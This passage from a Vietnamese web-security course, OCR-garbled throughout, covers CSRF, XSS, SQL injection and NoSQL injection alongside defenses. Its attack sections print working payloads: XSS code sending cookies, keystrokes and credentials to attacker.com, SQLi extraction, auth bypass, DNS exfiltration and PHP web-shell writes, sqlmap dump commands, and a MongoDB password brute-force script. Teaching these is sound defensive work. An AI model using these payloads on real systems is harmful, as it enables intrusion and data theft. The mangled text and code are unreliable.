samesite='Strict', # Hodac 'Lax' néu can cross-site navigation
httponly=True,
secure=True

3. Custom Request Header (cho AJAXIAPI)

// Frontend: ludon g&i custom header
fetch('/api/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // Custom header
3
credentials: 'same-origin',
body: JSON.stringify({email: 'new@email.com'})

# Backend: check custom header
@app.before_request
def check_ajax_requests():
if request.method in ('POST', 'PUT', 'DELETE'):
if request.content_type == 'application/json':
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
abort(403)

|

Simple cross-site requests khong thé add custom headers (bi browser block) — day la defense theo origin.

4. Double Submit Cookie (v&i Subresource Integrity)

.
# Generate token
csrf_token = secrets.token_hex(32)
# Set cookie va form field véi cung gia tri
response.set_cookie('csrf_token', csrf_token, samesite='Strict')
session['csrf_secret'] = hashlib.sha256(csrf_token.encode()).hexdigest()

# Verify
def verify_csrf():
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cookie_token = request.cookies.get('csrf_token')

form_token = request.form.get( rf_token")
expected = session.get('csrf_secret')

if not all([cookie_token, form_token, expected]):
return False

return secrets.compare_digest (
hashlib.sha256(form_token.encode()).h
expected

I Go6c nhin DevOps
Nginx: Validate Origin/Referer:

# Reject requests tiur unexpected origins
map $http_origin $bad_origin {
default 1;
"https://app.example.com" O;
"https://admin.example.com" 0;

location /api/ {
if ($bad_origin = 1) {
return 403;

Kubernetes: Security Headers qua Ingress:

r

annotations:
nginx.ingress.kubernetes.io/configuration-snippet:

add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";

t

Testing trong CI/CD:

t Test C protection trong pipeline
python -m pytest tests/security/test_csrf.py -v

# Hoac dung OWAS 7AP

docker run owasp/zap2docker-stable \

zap-api-scan.py \
-t https://staging.example.com/openapi.json \
-r csrf-report.html

Tém tat

o CSREF khai thac viéc browser tw gui cookies trong moi request ké ca tir trang khac.

» Ba diéu kién: relevant action + cookie session + predictable parameters.

o Bién phéap hiéu qua nhat: CSRF token (synchronizer pattern) két hgp SameSite cookies.
o GET request khong nén co6 side effects.

o Referer validation khong di — dé bypass bang empty referer hodc misleading URL.

o SameSite=Strict la bao vé t6t nhat nhung c6 thé anh hwang UX.

o Custom header (X-Requested-With) la bién phap t6t cho AJAX-only APIs.

Cau hoi 6n tap

1. Ba diéu kién can thiét d&¢ CSRF attack thanh cong la gi?

2. Tai sao SameSite=Lax khong hoan toan ngan chan CSRF?

3. Double Submit Cookie pattern la gi va diém yéu caa n6 la gi?

4. Tai sao Referer header validation khong phai la bién phap bdo mat dang tin cay?

5. V6i REST API chi nhan JSON, bién phap nao phong chong CSRF t6t nhat?
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Chwong 11: XSS — Cross-Site Scripting

| khai niem

XSS (Cross-Site Scripting — Scripting chéo trang) 1a 16 héng cho phép hacker inject va thuc thi JavaScript doc hai trong browser caa nan nhén, trong context caa trang web
bi tan cong.

Miitc d9 nguy hiém: Cao — XSS c¢6 thé dan dén session hijacking, account takeover, keylogging, phishing, malware distribution.

XSS xdy ra khi ttng dung nhan input tir user va dua vao HTML response ma khong sanitize.

| Baloai xss

1. Reflected XSS (XSS phan chiéu)

Payload xuat phat tit HTTP request hién tai, dugc “phan chiéu” lai trong response ngay lap tic.

GET /search?q=<script>alert(1)</script> HTTP/1.1

Response:

<html>

You searched for: <script>alert(1l)</script>
</html>

Pdc diém: - Khong persistent (khong lvu trong DB) - Can victim click link chita payload - Thiong dung dé phishing

2. Stored XSS | Persistent XSS (XSS Iwu trip)
Payload dugc lvu vao server (database, file) va chay méi lan ai load trang do.

. Hacker comment vao bai viét:
"Great article! <script>document.location="'https://attacker.com/steal?c="'+document.cookie</script>"

. Comment duwgc luu vao DB

. Moi user xem bai viét d6 - script chay - cookie bi danh cép

Pac diém: - Persistent — anh hudng nhiéu ngudi - Khong can victim click link riéng - Nguy hiém hon Reflected XSS

3. DOM-based XSS

Payload xt ly hoan toan & client-side (JavaScript), khong qua server.

r

Vulnerable code
var search = location.hash.substr(1); // Ldy tir URL fra
document.getElementById('results').innerHTML = search; // Inject vao D

URL: htt

/ Fragment khon

Nhung JS phia

Source (noi ldy input):

location.href, location.search, location.hash

document.referrer
window.name

document.cookie
localStorage, sessionStorage

Sink (noi inject output):

innerHTML, outerHTML, document.write
eval(), setTimeout(), setInterval()

element.src, element.href
jQuery: $(), html(), append()
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I XSS Payloads

Basic

<script>alert(1)</script>
<script>alert(document.cookie)</script>

Khi thé script bi block

.
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>

<!l-- SVG -->
<svg><script>alert(1)</script></svg>

<!-- Encoded -->
<img src=x onerror=_&#97;&#108;&#101;8&#114;8&#116; (1)>

<!-- Template literals -->
“${alert(1)}"

Bypass filters

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>

<!-- Attribute quoting variations -->
<img src=x onerror='alert(1)'>

<img src=x onerror="alert(1)">

<img src=x onerror=alert(1)>

<!-- Extra whitespace -->
<img src=x onerror = alert(1)>
<img/src=x/onerror=alert(1)>

<!-- HTML entities in JS context -->
<a href="javascript:&#97;lert(1)">click</a>

<!-- Polyglot -->
';alert(1)//
"-alert(1)-"
\';alert(1)//

<!-- Obfuscation -->
<script>eval(atob('YWxlcnQoMSk="'))</script> <!-- alert(1) in base64 -->

XSS trong JSON response

// App returns:
// Content-Type: text/html (sai! nén 1la application/json)
// {"username": "INJECT_HERE"}

// Payload:
{"username": "</script><script>alert(1)</script>"}

| knhai thac xss

Session Hijacking

-

// Pon giadn nhat: doc cookie va gii di
document. location = 'https://attacker.com/steal?c=' + document.cookie

// Hoac fetch (stealth hon)
fetch('https://attacker.com/steal', {
method: 'POST'
body: JSON.stringify({
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cookie: document.cookie,
url: window. location.href,
localStorage: JSON.stringify(localStorage)
1)
1)

Keylogger

document .addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k="' + e.key);

i

Credential Stealing — Fake Login Form

// Inject fake login prompt
document.body.innerHTML =
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<h2>Session expired. Please login again.</h2>
<input id="user" type="text" placeholder="Username">
<input id="pass" type="password" placeholder="Password">
<button onclick="steal()">Login</button>
</div>

’

function steal() {
fetch('https://attacker.com/creds', {
method: 'POST'
body: JSON.stringify({
user: document.getElementById('user').value,
pass: document.getElementById('pass').value

XSS + CSRF Chain

// XSS cho phép bypass CSRF protection
// Vi script chay cung origin - cé thé doc CSRF token
fetch('/api/get-csrf-token')
.then(r => r.json())
.then(data => {
// Dung token thuc dé thyc hién CSRF action
fetch('/api/change-email', {
method: 'POST',
headers: {'X-CSRF-Token': data.token},
body: JSON.stringify({email: 'hacker@evil.com'})
1}
1)

I Content Security Policy (CSP) — Phong chdng XSS hiéu qua nhat

CSP la response header chi dinh browser chi duwgc load/execute resources tit nguon duwgc phép.

Content-Security-Policy:
default-src 'self'
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';

Directives quan trong:

default-src: fallback cho tdt ca resource types

script-src: ngudn JS dugc phép

style-src: ngudn CSS dugc phép

img-src: ngudn images dugc phép

connect-src: ngudn cho fetch/XHR/WebSocket

frame-ancestors: ai dugc embed trang nay (thay X-Frame-Options)
base-uri: han ché <base> tag

object-src: plugin content (nén set 'none')
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Bypass CSP:

// Néu script-src cho phép domain cé JSONP endpoint:

// Content-Security-Policy: script-src https://trusted.com

// trusted.com c6: /jsonp?callback=alert(1)

<script src="https://trusted.com/jsonp?callback=alert(1337)"></script>

// Néu unsafe-inline dugc phép
// B&t ky inline script nao déu chay CSP vO6 dung
<script>alert(1)</script> // Chay duoc

// angular.js bypass (néu angular duoc phép):
{{constructor.constructor('alert(1)")()}}

// Dung nonce (dung céach)

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'
<script nonce="RANDOM_VALUE">/* legitimate */</script>
// Mb6i request tao nonce méi khéong thé doan

| cach phat hien

Inject <script>alert(1)</script> vao moi input field

Test cac reflection points: search, comments, profile, error messages
DOM XSS: kiém tra JavaScript source dung location.* hoac document.*
Inspect page source: input cé dugc reflect khong?

Test voi cac variations: HTML entities, URL encoding, case changes
Kiém tra Content-Type response: text/html vs application/json

Kiém tra X-XSS-Protection header (deprecated nhung indicator)

CSP c6 duoc implement khong? C6 bypass khong?

0OO0OO0OO0OOoOooao

Tools: - XSStrike: Python tool scan XSS tu dong - DalFox: Go-based XSS scanner nhanh - Burp Scanner: Detect XSS trong active scan

# XSStrike
python3 xsstrike.py -u "https://example.com/search?q=test"

# DalFox
dalfox url "https://example.com/search?g=test"

I Phong chdng

1. Output Encoding (Quan trong nhat)

Encode output tiy theo context:

-

# HTML context: encode HTML entities

import html

safe_output = html.escape(user_input)

# & - &amp; < &lt; > &gt; " - &quot; ' - &#x27;

# Attribute context
safe_attr = html.escape(user_input, quote=True)

# JavaScript context (trong <script> tag)
import json
safe_js = json.dumps(user_input) # Wraps trong quotes, escape special chars

# URL context
from urllib.parse import quote
safe_url = quote(user_input, safe='")

Template engines mac dinh encode:

# Jinja2: auto-escape b&dng default
{{ user_input }} # Auto HTML-escaped
{{ user_input | safe }} # — NGUY HIEM: disable escaping

# React: JSX auto-escape

const element = <div>{userInput}</div>; // Safe
const element = <div dangerouslySetInnerHTML={{ _html: userInput}}/>; // NGUY HIEM
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2. Input Validation

-

# Whitelist approach
import re

def validate_username(username)
# Chi cho phép alphanumeric va mot s6 ky tw
if not re.match(r'A[a-zA-20-9 -]1{3,30}$', username):
raise ValueError("Invalid username")
return username

# Sanitize HTML néu can accept HTML (comments, rich text)
import bleach

ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a']
ALLOWED_ATTRS = {'a': ['href', 'title']}

def sanitize_html(html_input)
return bleach.clean(
html_input,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRS,
strip=True # Strip khong cho phép thay vi escape

3. Content Security Policy

-

# Flask: Set CSP header

@app.after_request

def set_csp(response):
# Generate nonce moi request
nonce = secrets.token_urlsafe(16)
g.csp_nonce = nonce

response.headers['Content-Security-Policy'] = (
f"default-src 'self'; "
f'"script-src 'self' 'nonce-{nonce}'; "
f'"style-src 'self' 'nonce-{nonce}'; "
f'"img-src 'self' data: https:; "
f'"object-src 'none'; "

f"base-uri 'self'; "

"

f"frame-ancestors 'none

)

return response

4. HTTPOnly Cookies

-

# Ngay ca khi XSS xay ra, cookie khong bi doc
response.set_cookie('session', session_id, httponly=True, secure=True)

I Go6c nhin DevOps

Nginx CSP header:

add_header Content-Security-Policy "
default-src 'self'
script-src 'self' https://cdn.example.com;
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
object-src 'none';
frame-ancestors 'none';

" always;

WAF Rule cho XSS (ModSecurity):

-

# ModSecurity Core Rule Set (CRS) da c6 XSS rules
SecRuleEngine On
Include /etc/modsecurity/crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf

CSP Reporting:
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# Report-Only mode: detect nhung khong block (dung khi deploy CSP md&i)
add_header Content-Security-Policy-Report-Only "
default-src 'self';

report-uri https://csp.example.com/report;

" always;

Kubernetes: Scan image cho XSS-prone packages:

"

# Triy scan trong CI/CD
- name: Security Scan
run: |

trivy image myapp:latest --severity HIGH,CRITICAL
# Detect outdated packages véi known XSS vulnerabilities

| Tom tit
e XSS: 3 loai — Reflected (URL-based), Stored (DB-based), DOM-based (client-side JS).
¢ Impact: session hijacking, credential theft, keylogging, CSRF bypass.
o Phong chéng: Output encoding theo context + CSP + HttpOnly cookies.
o Khong tin vao HTML escaping don thuan — céan context-aware encoding.
o CSP nonce-based la bién phap manh nhét ngdn inline scripts.
e dangerouslySetInnerHTML (React)va | safe (Jinja2)lared flags.

¢ DOM XSS khong di qua server — WAF khong detect duoc.

Cau hoi 6n tap

1. Su khac nhau giita Reflected, Stored, va DOM-based XSS la gi? Loai nao nguy hiém nhat?
2. Taisao html.escape() khong du dé phong chong XSS trong moi context?

3. CSP nonce-based hoat dong nhu thé nao? Tai sao nonce phai random mdi request?

4. M0 ta cach XSS két hgp vdi CSRF dé bypass CSRF protection.

5. DOM-based XSS khong di qua server. Implication la gi véi WAF va server-side validation?
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Chwong 12: SQL Injection

| khai niem
SQL Injection (Tiém SQL) la 16 hong cho phép hacker can thiép vao database queries cua ttng dung bang cach inject SQL code vao user input.
Miitc d9 nguy hiém: Rat cao — SQLi c6 thé dan dén doc/sira/x6a toan bd database, bypass authentication, va trong mot s6 trueong hgp, RCE (Remote Code Execution).

SQLi xdy ra khi user input duwgc néi trire tiép vao SQL query thay vi dung parameterized queries.

I Cach hoat dong

e

# Vulnerable code

def get_products(category):
query = f"SELECT * FROM products WHERE category = '{category}'"
return db.execute(query)

Normal req

'Gifts' OR '1'='1"

luén true

I Cac loai SQL Injection

1. In-Band SQLi — Error-Based

Server tra vé SQL error messages — leak thong tin database structure.

Input: ' (single quote)
Error: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''' at line 1

- Biét day la MySQL, biét query syntax

Khai thac error-based:

extractvalue dé trigger error chtta data
' AND extractvalue(l, concat(0x7e, (SELECT version()))) --

-- Error: XPATH syntax error: '~5.7.32-1log'
-- - Biét MySQL version la 5.7.32

-- Lay database names
' AND extractvalue(l, concat(0x7e, (SELECT database()))) --
or: '~shopdb'

' AND extractvalue(1, concat(0x7e
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1))) --

2. In-Band SQLi — UNION-Based

Dung UNION dé néi két qua tir query khac vao response.

c 1: Tim s
BY 1--
BY 2--
BY 3-- , Error - c6 2 cot

2: Tim cO0t nao hién thi text
SELECT NULL, NULL--
SELECT 'test', NULL-- » 'test' xudt hién - co6t 1 hién thi text

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 69/151



6/6/26, 1:13 PM Web Security cho DevOps Engineer

-- Budc 3: Extract data
' UNION SELECT username, password FROM users--
' UNION SELECT table_name, column_name FROM information_schema.columns--

L
Vi du day du:
GET /products?category=Gifts' UNION SELECT username, password FROM users-- HTTP/1.1

Response:
Product: admin | Password: admin123
Product: alice | Password: letmein

3. Blind SQLi — Boolean-Based

App khong hién thi két qua query, nhung hanh vi khac nhau dya trén condition true/false.
-- Test: néu diéu kién ding - trd 1 product, sai trd 0 product
' AND 1=1-- - két qua binh thuong (true)
' AND 1=2-- khong c6 két qua (false)

-- Lay thong tin tung ky tw
' AND SUBSTRING(username,1,1)='a'-- - true néu char dau la 'a'
' AND SUBSTRING(username,1,1)='b'-- - false

-- Automation: brute force tung ky tuw
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>50--
., Binary search dé tim ASCII value

4. Blind SQLi — Time-Based

Khong c6 su khac biét trong response — dung time delay dé infer data.
-~ MysQL
" AND SLEEP(5)--
-- Néu delay 5 giay - query thuc thi - SQLi confirmed

' AND IF(1=1, SLEEP(5), 0)-- . delay (true)
' AND IF(1=2, SLEEP(5), 0)-- » khdng delay (false)

-- Lay data qua timing
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(3), 0)--
- Delay 3 giay - ky tu dau cla database name la 's'

-- PostgresSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(®) END--

-- MSSQL
"; IF (1=1) WAITFOR DELAY '0:0:5'--

5. Out-of-Band SQL.i

Khi server khong tra vé gi ca, duing DNS/HTTP dé exfiltrate data ra ngoai.
-- MysSQL: dung load_file dé trigger DNS
' AND LOAD_FILE(concat('\\\\', database(), '.attacker.com\\a'))--
» DNS lookup: shopdb.attacker.com - biét database name

-- MSSQL: xp_cmdshell (néu enabled)
'; exec master..xp_cmdshell 'nslookup '+@@version+'.attacker.com'--

6. Second-Order Injection

Payload dugrc lwu vao DB, sau d6 dugc dung unsafe trong query khac.

.
# Budc 1: Register user vd&i username c6 payload
username = "admin'--"

# Luu vao DB: developer nghi da safe vi escaped khi luu

# Budc 2: Khi change password, dung stored username truc tiép

query = f"UPDATE users SET password='{new_pass}' WHERE username='{current_username}'"
# current_username = admin'-- (lay twr DB, khong escape lai)
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# Query: UPDATE users SET password='...' WHERE username='admin'--
# Poi password cla admin, khdng phadi current user

I Khai thac nang cao

Authentication Bypass

r

-- Login form
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'

Payload username: admin'--
Query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
— Comment out password check - login as admin without password

Payload: ' OR '1'='1"'--
Query: SELECT * FROM users WHERE username='' OR '1'='1'--' AND password='
Return tat ca users, login v6i user dau tién (thuong la admin)

PostgreSQL, MSSQL support multiple statements
DROP TABLE users; --
INSERT INTO admin_users VALUES ('hacker', 'password'); --

MySQL khéng support stacked queries qua standard PHP/Python drivers

File Read/Write

-- MysSQL: doc file (can FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL--

-- MysSQL: ghi web shell (can quyén ghi vao webroot)
' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL
INTO OUTFILE '/var/www/html/shell.php'--

-- Bay gid c6 RCE:
-- https://example.com/shell.php?cmd=id

sqlmap — Automation Tool

# Basic scan
sqlmap -u "https://example.com/products?category=6ifts"

# Vo1 cookies (authenticated)
sqlmap -u "https://example.com/api/products?id=1" \
--cookie="session=abc123"

# POST request
sqlmap -u "https://example.com/login" \
--data="username=admin&password=test" \

--method POST

# Dump database
sqlmap -u "URL" --dump-all

# Detect specific DBMS
sglmap -u "URL" --dbms=mysql

Bypass WAF
sqlmap -u "URL" --tamper=randomcase, space2comment

# Chi test, khong exploit
sqlmap -u "URL" --batch --level=3 --risk=2
Database-Specific Cheat Sheet

-- Lay database version
MySQL: SELECT version()

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 717151




6/6/26, 1:13 PM Web Security cho DevOps Engineer
PostgreSQL: SELECT version()
MSSQL: SELECT @@version
Oracle: SELECT banner FROM v$version

-- Lay current database/schema

MySQL: SELECT database()
PostgreSQL: SELECT current_database()
MSSQL : SELECT db_name()

-- Lay tat ca tables

MySQL: SELECT table_name FROM information_schema.tables WHERE table_schema=database()
PostgreSQL: SELECT tablename FROM pg_tables WHERE schemaname='public'

MSSQL: SELECT table_name FROM information_schema.tables

Oracle: SELECT table_name FROM all_tables

-- Comment syntax

MySQL: -- comment # comment /* comment */

PostgreSQL: -- comment /* comment */

MSSQL: -- comment /* comment */
*/

Oracle: -- comment /* comment

-- String concatenation

MySQL : CONCAT('a','b') hoac 'a' 'b'
PostgresqQL: 'a' || 'b'

MSSQL: 'a' + 'b'

Oracle: 'a' || 'b'

Cach phat hién

Thém ' (single quote) — SQL error xuadt hién?

Thém '' (double quote) - error changes?

Boolean test: AND 1=1 vs AND 1=2 -, response khac nhau?
Time test: AND SLEEP(5) - delay?

UNION test: UNION SELECT NULL--

Error messages 10 database type/version?

Response time bat thuong vdi time-based payloads

Burp Scanner ty dong detect SQLI.

Manual test:

Input:

Input:

Input:

Input: ')

Input: "))

Input: ' OR '1'='1'"--

Input: ' AND 1=2--

Input: ' UNION SELECT NULL--
Input: '; WAITFOR DELAY '0:0:5'--

Phong chong

. Parameterized Queries (Qua

# SAI: String concatenation

def login(username, password)
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
return db.execute(query)

# DUNG: Parameterized query

def login(username, password)
query = "SELECT * FROM users WHERE username = %s AND password = %s"
return db.execute(query, (username, password))

# PUNG véi SQLAlchemy ORM
from sglalchemy import text
def login(username, password)
result = db.execute(
text("SELECT * FROM users WHERE username = :user AND password = :pass"),
"user": username, "pass": password}

)

return result.fetchone()
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# Vo1 cac ngon nglr khac:

# PHP - PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

# Java - PreparedStatement

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);

stmt.setString(1, username);

stmt.setString(2, password);

# Node.js - mysql2

const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]

)i

2. Stored Procedures

-- Stored procedure an toan (néu bén trong cling dung parameterized)
CREATE PROCEDURE GetUser @username NVARCHAR(50), @password NVARCHAR(50)
AS
SELECT * FROM users WHERE username = @username AND password = @password;
GO

3. Least Privilege

.
-- DB user chi cé quyén can thiét
CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'app user'@'%';
-- Khong grant DROP, CREATE, FILE, SUPER

4. Input Validation (Defense in Depth)

-

# Validate trudéc khi query
import re

def validate_username(username)
if not re.match(r'A[a-zA-Z0-9_]{3,50}$', username):
raise ValueError("Invalid username format'")
return username

5. WAF Rules

ModSecurity véi OWASP CRS detect SQLi patterns:
- Single quotes
- SQL keywords (UNION, SELECT, DROP, etc.)
- Comment sequences (--, #, /*)
Hex encoding bypass

I Go6c nhin DevOps

Database hardening:

.
# MySQL config: disable dangerous features
[mysqld]
local-infile = 0 # Disable LOAD DATA LOCAL INFILE
secure-file-priv = "" Disable file read/write
skip-show-database # Hide database names

# Restrict ho MySQL tur external access
bind-address = 127.0.0.1 # Chi accept local connections

Kubernetes: Database khong expose ra ngoai:

.
# Database Service chi accessible trong cluster
apiVersion: vi
kind: Service
metadata:
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name: mysql
spec:
type: ClusterIP # Khong phdi NodePort hay LoadBalancer

ports:
- port: 3306

R

SAST trong CI/CD dé detect SQLi:

"

# GitHub Actions vé&i Semgrep
- name: SAST Scan
run: |
pip install semgrep

semgrep --config=p/sql-injection \
--config=p/owasp-top-ten \

src/

Monitoring SQLi attempts:

Alert khi:
- SQL error messages trong response (info leak)
- Request voi SQL keywords trong parameters

- Unusual query patterns (UNION, OR 1=1)
- High latency requests (time-based blind SQLi)

Tom tat

¢ SQLi: inject SQL code vao query thay vi dung parameterized queries.
e 4]oai: Error-based, UNION-based, Blind (boolean/time), Out-of-band.
o Impact: data theft, auth bypass, file read/write, RCE.

o Phong chong #1: Parameterized queries — khong thé thiéu.

o Least privilege cho DB user — gi¢i han damage néu bi exploit.

¢ sqlmap la tool ty dong héa khai thac va detection.

o WAF c0 thé detect nhung khéng nén la bién phap duy nhat.

Cau héi 6n tap

1. Tai sao UNION-based SQLi can biét s cot tride khi khai thac?

2. Su khéc nhau gitta boolean-based va time-based blind SQLi la gi?
3. Second-order injection la gi va tai sao khé phat hién hon first-order?
4. Parameterized queries ngan SQLi nhu thé nao vé mat ky thuat?

5. Néu DB user bi compromise qua SQLI, tai sao principle of least privilege quan trong?
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Chwong 13: NoSQL Injection

| khai niem
NoSQL Injection la bién thé cua injection attack nham vao cac database NoSQL (MongoDB, CouchDB, Redis, etc.) thay vi SQL databases. Ky thudt tdn cong khac nhau
nhung hdu qua twong tu: bypass authentication, doc dit liéu trai phép, hodc x6a data.

Mitc d§ nguy hiém: Cao — Dac biét véi MongoDB vi widespread usage trong microservices.

| NosQL Khéac SQL Nhw Thé Nao?

DPac diém SQL NoSQL (MongoDB)

Query language SQL text JSON operators

Structure Tables/Rows Collections/Documents

Schema Fixed Flexible

Injection vector SQL keywords JSON operators ($where, $regex)

I MongoDB NoSQL Injection

1. Operator Injection

MongoDB dung JSON operators trong queries:

/ Normal query

db.users.find({username: "alice", password: "pass123"})

App nhan tir request bo

{"username":

Tan cong bang MongoDB operators:

// Thay password bang operator

{
"username": "admin",
"password": {"$ne": null}

Query trd thanh:

db.users.find({username: "admin'", password: {$ne: null}})
$ne: not equal pe vord != null du 61 moi user coé pa

Login thanh cong ma khong can biét pa

t

Cac operators phd bién:

r

// $ne (not equal) - bypass password
{"password": {"$ne": "wrong"}}
{"password": {"$ne": null}}

// $gt (greater than) - bypass numeric check
{"age": {"$gt": 0}}

// $regex - bypass bdng regex
{"username": {"$regex": "admin"}}
{"username": {"$regex": ".*"}}

// $where - JavaScript execution (r&t nguy hiém!)
{"$where": "this.username === 'admin'"}
{"$where": "sleep(5000) || true"} // DoS

// $exists
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{"admin": {"$exists": true}}

// In array
{"role": {"$in": ["admin", "superuser"]}}

2. $where Injection — JavaScript Execution

$where cho phép chay JavaScript expressions trong MongoDB query:

Vulnerable code
.users.find({$where: "this.username === '${username}'"})

Normal: username = "alice"
Query: {$where: "this.username === 'alice'"}

Injection: username = "' || '1'=="'1"
Query: {$where: "this.username === '' || '1'=="'1"'"}
Return tdt ca documents!

Injection: username = "'; sleep(5000); //"
— Time-based blind injection (DoS néu nhiéu requests)

|

Extract data qua $where:

// username = "' || (this.password[0] === 'p') || 'O@'=="1"
// Néu true: return user doan tuwng ky tu password

// Automation
for char in 'abcdefghijklmnopgrstuvwxyz':
payload = f"' || (this.password[0] === '{char}') || '©'=="1"
response = login(admin, payload)
if response.ok:
print(f"First char of password: {char}")

3. HTTP Parameter Pollution

Khi app nhédn query params va chuyén thanh MongoDB query:
GET /api/login?username=admin&password=pass
- db.users.find({username: "admin", password: "pass"})

Bypass bang PHP array notation:
GET /api/login?username=admin&password[$ne]=invalid

— db.users.find({username: "admin", password: {$ne: "invalid"}})
- Login without password!

Express.js (Node.js) vulnerable:

// Vulnerable

app.post('/login', (req, res) => {
const { username, password } = req.body;
// req.body cé thé la: {password: {$ne: null}}
User.findOne({username, password}, ...);

4. Aggregation Pipeline Injection

"

// Vulnerable
db.collection.aggregate([

{$match: {userId: userId}},

{$lookup: {from: "orders", localField: "_id", foreignField:
1)

// userId = {$gt: ""} match tat cad documents

I Redis Injection

Redis commands qua web interface:

Web Security cho DevOps Engineer

"userId", as: "orders"}}
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# NEu app build Redis commands tir user input:
GET /data?key=user:1337

Redis: GET user:1337

# Injection: key = user:1337\r\nDEL user:1\r\n
# GUri multiple Redis commands qua CRLF injection

Kich ban tan c6ng: Authentication Bypass

Target: Node.js app + MongoDB login

POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": null}}

Server code:
async function login(req, res) {
const user = await User.findOne({
username: req.body.username,
password: req.body.password // — Khong validate type!
1)

if (user) return res.json({token: generateToken(user)});
res.status(401).json({error: "Invalid credentials"});

Query thuc thi: db.users.findOne({username: "admin", password: {$ne: null}})
- Match véi admin user (password not null)
- Return admin user - login thanh céng!

Blind NoSQL Injection — Data Extraction

# Extract password ting ky tu bang $regex

import requests
import string

target = "https://example.com/api/login"
headers = {"Content-Type": "application/json"}

known_password = ""
charset = string.ascii_lowercase + string.digits + "!@#$% &*"

for position in range(20): # Max password length
found = False
for char in charset:
payload = {
"username": "admin",
"password": {
"$regex": f"A{re.escape(known_password + char)}"

response = requests.post(target, json=payload, headers=headers)

if response.status_code == 200:
known_password += char
found = True
print(f"Password so far: {known_password}")
break

if not found:
break

print(f"Full password: {known_password}")

| cach phat hien

O Th&r MongoDB operators trong JSON body: {"$ne": null}, {"$gt": ""}
O Th&r PHP-style array notation trong query params: ?pass[$ne]=x
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Error messages mention MongoDB/NoSQL
Behavior thay d6i véi operator injection vs. normal input
Time-based: {"$where": "sleep(5000) || true"}
Check néu app dung $where operator
Tht inject operators vao moi field trong JSON body

I Phong chéng

1. Input Type Validation

// Node.js v6i Mongoose

const loginSchema = {
username: { type: String, required: true },
password: { type: String, required: true }

}

app.post('/login', (req, res) => {
const { error, value } = Joi.object(loginSchema).validate(req.body);

if (error) return res.status(400).json({error: "Invalid input format"});

// b&m bao username va password la strings
const { username, password } = value;

// Bay gio safe vi Joi da validate types
User.findOne({username, password: hashPassword(password)})

2. Sanitize Input

.
// Express v6i mongo-sanitize

const mongoSanitize = require('express-mongo-sanitize');

// Middleware: remove keys bat dau bdng $
app.use(mongoSanitize());

// Hoac manual:
function sanitizeQuery(input) {
if (typeof input === 'object' && input !== null) {
for (let key of Object.keys(input)) {
if (key.startswith('$"')) {
delete input[key];
} else {
sanitizeQuery(input[key]);

return input;

3. Disable Dangerous Features

.
// Mongoose: Disable $where operator
mongoose.connect (uri, {
// Mongoose khong truc tiép expose $where qua model methods
// Nhung tréanh dung raw queries voi $where

)i

// Néu can raw query, validate trudc
const allowedOperators = ['$eq', '$gt', '$1lt', '$gte', '$lte', '$in'];

function validateQuery(query) {
function checkOperators(obj) {

if (typeof obj !== 'object') return;

for (const key of Object.keys(obj)) {
if (key.startsWith('s$') && 'allowedOperators.includes(key)) {

throw new Error( Operator ${key} not allowed);

}
checkOperators(obj[key]);
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checkOperators(query);
}

4. Parameterized Queries (NoSQL equivalent)

# Python véi PyMongo
from pymongo import MongoClient
from bson import ObjectId

client = MongoClient( 'mongodb://localhost:27017")
db = client.mydb

# PUNG: Dung parameters riéng biét, khong string concat
def find_user(username, password_hash):
return db.users.find_one({
'username': username, # String literal, khdong thé inject operator
'password': password_hash

1)

# SAI: Build query tw untrusted dict
def find_user_bad(query_dict)
return db.users.find_one(query_dict) # ~ Hacker control toan bd query!

I Gé6c nhin DevOps

MongoDB Security Config:

# mongod.conf
security:
authorization: enabled # Enable authentication
javascriptEnabled: false # QUAN TRONG: Disable JavaScript execution ($where)

net:
bindIp: 127.0.0.1 # Khong bind 0.0.0.0

# Khdong expose MongoDB port ra internet

Kubernetes MongoDB:

.
# MongoDB chi accessible trong cluster
apiVersion: vi
kind: Service
metadata:

name: mongodb
spec:
type: ClusterIP # Internal only
selector:
app: mongodb
ports:
- port: 27017

Auth véi minimal privileges:
// Tao user vé&i quyén tdéi thiéu
use mydb
db.createUser ({
user: "app_user"
pwd: "strong_password"
roles: [
{ role: "readwrite", db: "mydb" }
// Khong phdi dbAdmin hay clusterAdmin

| Tom tat

¢ NoSQL Injection dung database-specific operators thay vi SQL keywords.

